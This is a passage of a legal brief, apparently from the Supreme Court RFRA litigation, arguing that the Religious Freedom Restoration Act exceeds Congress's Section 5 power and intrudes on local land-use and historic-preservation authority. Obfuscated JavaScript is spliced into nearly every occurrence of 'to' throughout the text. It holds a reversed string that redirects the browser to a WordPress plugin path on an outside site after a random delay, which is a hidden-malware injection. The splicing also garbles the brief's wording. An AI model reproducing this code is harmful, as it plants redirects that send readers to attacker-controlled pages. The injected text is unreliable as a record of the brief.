(number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, 74 F.3d at 1568 (McMillian, J., dissenting). Unlike the Voting Rights Act, the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act was not necessitated by a refusal by state and local governments toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to abide by the Constitution, thereby requiring prophylactic legislation. See Sasnett v. Sullivan, 91 F.3d 1018, 1021 (7th Cir. 1996)(“We are given some pause . . . by the lack of a recent histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of governmental discrimination against religious observance. . . . It is not easy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take entirely seriously the proposition that the enactment of RFRA was necessary in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prevent the states from engaging in forms of intentional discrimination that, unlike the ordinance invalidated in Church of the Lukumi Babalu Aye, could not readily be shown toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be intentional.”). The thin record supporting RFRA is in sharp contrast toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this Court’s description of the record on which the Voting Rights Act was based:

Two points emerge vividly from the voluminous legislative histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of the [Voting Rights] Act contained in the committee [61]  hearings and floor debates. First: Congress felt itself confronted by an insidious and pervasive evil which had been perpetuated in certain parts of our country through unremitting and ingenious defiance of the Constitution. Second: Congress concluded that the unsuccessful remedies which it had prescribed in the past would have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be replaced by sterner and more elaborate measures in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to satisfy the clear commands of the Fifteenth Amendment.

South Carolina v. Katzenbach, 383 U.S. 301, 309 (1966). See also Shaw v. Reno, 509 U.S. 630, 640 (1993);City of Rome, 446 U.S. at 182;Gastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton County, N.C. v. United States, 395 U.S. 285, 291 (1969). The RFRA legislative histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory is replete with denigrations of Smith but only sporadically dotted with a limited number of anecdotal reports of religious suppression. This Act invites this Court toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to charge Congress with the responsibility of building a record in overenforcement cases which would clarify, “streamline — and sharpen — the judicial task of reviewing federal legislation” under Section 5. Harold J. Krent, Turning Congress Intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to an Agency: The Propriety of Requiring Legislative [62]  Findings, 46 Case W. Res. L. Rev. 731, 737 n.20 (1996).

 

In conclusion, RFRA is not a constitutionally legitimate prophylactic measure; rather, it is an unjustified and abusive exercise of Congress’s remedial power under Section 5. See Hamiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, 74 F.3d at 1570 (McMillian, J., dissenting) (“This is not prophylaxis but unconstitutional interbranch hegemony.”).

b. The Substantive Power Theory. To be completely fair toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to those who passed RFRA in reliance onKatzenbach v. Morgan, 384 U.S. 641 (1966), and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to those who continue toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to defend RFRA under Morgan, language in that decision implies a congressional power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to expand the scope of constitutional guarantees:

[Section] 5 does not grant Congress power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to exercise discretion in the other direction and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enact “statutes so as in effect toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dilute equal protection and due process decisions of this Court.” We emphasize that Congress’ power under § 5 is limited toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to adopting measures toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce the guarantees of the Amendment; § 5 grants Congress no power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to restrict, abrogate, or dilute these guarantees.

Morgan, 384 U.S. at 651 n.10. This overreading of Morgan has been [63]  pervasive in the legal academy, and has misled the lower courts intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to upholding RFRA. See, e.g., Belgard v. State of Hawai’i, 883 F. Supp. 510, 513 (D. Haw. 1995).

 

Yet, the substantive power theory has never been the dispositive basis for a decision by this Court. Even in Morgan, it was only an alternative ground for decision. Morgan, 384 U.S. at 652-53 (justifying statute as exercise of remedial power under Section 5). See also Daniel O. Conkle, The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act: The Constitutional Significance of an Unconstitutional Statute, 56 Mont. L. Rev. 39, 51-52 (1995). As then-Justice Rehnquist has pointed out, five members of this Court rejected the substantive power theory in the later-decided case of Oregon v. Mitchell, 400 U.S. 112 (1970), see City of Rome, 446 U.S. at 220-21 (Rehnquist, J., dissenting), while only four members were in favor of the theory. Mitchell, 400 U.S. at 239-81 (Brennan, J., dissenting); id. at 135-44 (Douglas, J., dissenting). See also EEOC v. Wyoming, 460 U.S. 226, 262 (1983)(Burger, C.J., dissenting) (“I have always read Oregon v. Mitchell as finally [64]  imposing a limitation on the extent toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to which Congress may substitute its own judgment for that of the states and assume this Court’s ‘role of final arbiter’ . . .”).

This Court has in fact rejected the substantive power theory in the context of the Fifteenth Amendment, the enforcement language of which is almost identical toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Section 5. Congress has been found toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have exceeded its Fifteenth Amendment enforcement powers when “Congress has attacked evils not comprehended by the Fifteenth Amendment.” South Carolina v. Katzenbach, 383 U.S. 301, 326 (1966) (citing United States v. Reese, 92 U.S. (2 Ottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to) 214, 217-18 (1875);James v. Bowman, 190 U.S. 127, 138 (1903)).

The substantive power theory hands Congress a power at odds with the separation of powers, and it permits Congress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to yoke the states toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to its policy predilections in violation of the federalism constraints inherent in Section 5. The great Justice Harlan dissented in Morgan, because he believed that Congress must not be permitted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to re-define the scope of constitutional guarantees. Legislation like the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act can only be “sustained . . . at the sacrifice of [65]  fundamentals in the American constitutional system — the separation between the legislative and judicial function and the boundaries between federal and state political authority.” Morgan, 384 U.S. at 659 (Harlan, J., dissenting). He reaffirmed his commitment toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to these principles when he joined four other members of this Court toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hold in Mitchell that Congress lacked the power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to determine that the voting age in state elections ought toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be 18 rather than 21. See Mitchell, 400 U.S. at 204-07 (Harlan, J., concurring in part and dissenting in part); id. at 296 (Stewart, J., joined by Burger, C.J., and Blackmun, J., concurring in part and dissenting in part); id. at 124-30 (Black, J.).

These essential truths were echoed by then-Justice Rehnquist in dissent in City of Rome when he stated that Congress’s attempt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to override the Supreme Court’s interpretation of the Constitution under the Fourteenth Amendment “requires state and local governments toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cede far more of their powers toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Federal Government than the Civil War Amendments ever envisioned; and it requires the judiciary toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cede far more of its power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to interpret and enforce the Constitution than ever [66]  envisioned.” City of Rome, 446 U.S. at 221 (Rehnquist, J., dissenting). See also id. at 207, 210-13, 220-221.

Although the Court did not reach the Section 5 issue in EEOC v. Wyoming, 460 U.S. 226 (1983),four members of this Court — Chief Justice Burger and Justices Powell, Rehnquist, and O’Connor — went toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to great lengths toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reject the notion that Congress may “define rights wholly independently of [this Court’s] case law . . . .” Wyoming, 460 U.S. at 262 (Burger, C.J., dissenting). To the contrary, “allowing Congress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect constitutional rights statutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torily that it has independently defined fundamentally alters our scheme of government.” Id.

The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act makes real what Justice Harlan only imagined when he dissented in Morgan:

To deny the effectiveness of [the Voting Rights Act] is not of course toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to disparage Congress’ exertion of authority in the field of civil rights; it is simply toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to recognize that the Legislative Branch like the other branches of federal authority is subject toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the governmental boundaries set by the Constitution. To hold, on this record, that [the Act] overrides [67]  the New York [law] seems toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to me tantamount toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to allowing the Fourteenth Amendment toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to swallow the State’s constitutionally ordained primary authority in this field. For if Congress by what, as here, amounts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to mere ipse dixit can set the otherwise permissible requirement partially at naught I see no reason why it could not also substitute its judgment for that of the States in other fields of their exclusive primary competence as well.

Morgan, 384 U.S. at 671. With RFRA, Congress has fulfilled Justice Harlan’s hoped-against prophecy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the nth degree. It is ipse dixit that blankets every field of state competence. The passage of RFRA invites this Court toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to set toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to rest, once and for all, the troublesome and constitutionally misguided notion that Congress has plenary power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to interpret the Constitution at odds with this Court’s interpretation and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to force that interpretation on the courts. 11

 

[68]

Finally, even if this Court were toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to read Morgan as relying on a substantive power theory, the purported alteration of the constitutional calculus in that case, and in City of Rome, is mere tinkering compared with the broad-brush attack on the Court’s constitutional doctrine in RFRA. By upholding RFRA on a substantive power theory, the Court would be vastly expanding the power of Congress even beyond that arguably contemplated in Morgan and City of Rome.

In sum, the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act is not plainly adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to constitutional ends and therefore fails the second prong of the M’Culloch test. RFRA was not enacted pursuant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a legitimate exercise of Congress’s remedial power, and the substantive power theory deserves toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be definitively interred by this Court at this time.

3.  The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act Is Prohibited by and Inconsistent with the Letter and Spirit of the Federalism Constraints Inherent in Section 5

The M’Culloch test finally requires congressional action “which [is] not prohibited, but consistent with the letter and spirit of the constitution . . . .” M’Culloch, 17 U.S. at 421. Because the Act violates the separation of [69]  powers, see supra sec. I, federalism principles inherent in Section 5, see infra, and the Establishment Clause, see infra sec. III, it fails the final M’Culloch prong.

The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act is a bold and unprecedented example of federal social policy engineering that commandeers the states toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to follow the federal government’s decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate religion more than the Constitution requires. RFRA intrudes on the sovereign power of the states. See New York, 505 U.S. at 155-57. Congress is a body of enumerated powers, and it must respect state integrity in that exercise. Seminole Tribe of Fla. v. Florida, 116 S. Ct. 1114, 1127, 1132 (1996); Lopez, 115 S. Ct. at 1626; New York, 505 U.S. at 156-57; Gregory v. Ashcroft, 501 U.S. 452, 457-59 (1991). As this Court stated in New York, “‘the preservation of the States, and the maintenance of their governments, are as much within the design and care of the Constitution as the preservation of the Union and the maintenance of the National government.'” New York, 505 U.S. at 162 (quoting Texas v. White, 7 Wall. 700, 725 (1869)).

Congress [70]  may not ignore principles of federalism when it exercises its Section 5 powers. Rather, federalism principles provide innate limitations on the exercise of such power. As this Court declared in New York, 505 U.S. at 159, per Justice O’Connor:

Just as a cup may be half empty or half full, it makes no difference whether one views the question at issue in this case as one of ascertaining the limits of the power delegated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Federal Government under the affirmative provisions of the Constitution or of discerning the core of sovereignty retained by the States under the Tenth Amendment. Either way, we must determine whether [the Act] . . . oversteps the boundary between federal and state authority.

One year earlier, this Court stated in Gregory that “the Fourteenth Amendment does not override all principles of federalism.” Gregory, 501 U.S. at 469. The histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of the Fourteenth Amendment makes it abundantly clear that “its framers rejected the option of an open-ended grant of power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to meddle with conditions within the states so as toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to render them equal in accordance with its own notions.” Alexander Bickel, The Voting Rights Act [71]  Cases, 1966 Sup. Ct. Rev. 79, 97.

 

This case, which involves quintessentially local prerogatives over land use, illustrates vividly the incursion RFRA makes on federalism concerns. Laws governing land use, and in particular histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical preservation, are of intense local concern. “Respect for local landmark law is founded on principles of federalism.” Raphael Winick, Copyright Protection for Architecture After the Architectural Works Copyright Protection Act of 1990, 41 Duke L.J. 1598, 1624 (1992). Thus, the enforcement of histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric preservation law has been a matter left almost entirely toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to state and local governments, with supporting legislation from the federal government. See Penn Cent. Transp. Co. v. New York City, 438 U.S. 104 (1978). See generally, Jane Papademetriou Kourtis, Comment, The Constructive Trust: Equity’s Answer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Need for a Strong Deterrent toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Destruction of Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric Landmarks, 16 B.C. Envtl. Aff. L. Rev. 793, 798-804 (1989).

Histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory in and of itself is a commodity of compelling importance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a community. It educates, it comforts, and it solidifies a community’s shared sense of itself. Francis Bacon said [72]  truly that “histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tories make men wise.” The Essays Or, Counsels, Civil and Moral of Francis Bacon, Of Studies 14 (1883). This Court has recognized the educative value of histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, stating that “a page of histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory is worth a volume of logic.” New York Trust Co. v. Eisner, 256 U.S. 345, 349 (1921)(Holmes, J.).

The Court’s “cases are quite clear that there are real limits toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to federal power.” Lopez, 115 S. Ct. at 1642 (Thomas, J., concurring). See also Gregory v. Ashcroft, 501 U.S. 452 (1991). Those limits are transgressed by RFRA. Tests of compelling interest and least restrictive means dramatically skew the balance of power between local governments and churches on land use issues, including histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torical preservation, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the detriment of this traditional area of local autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonomy. See Cert. Pet. at 6-7. In the end, RFRA tips “the scales toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too far” in favor 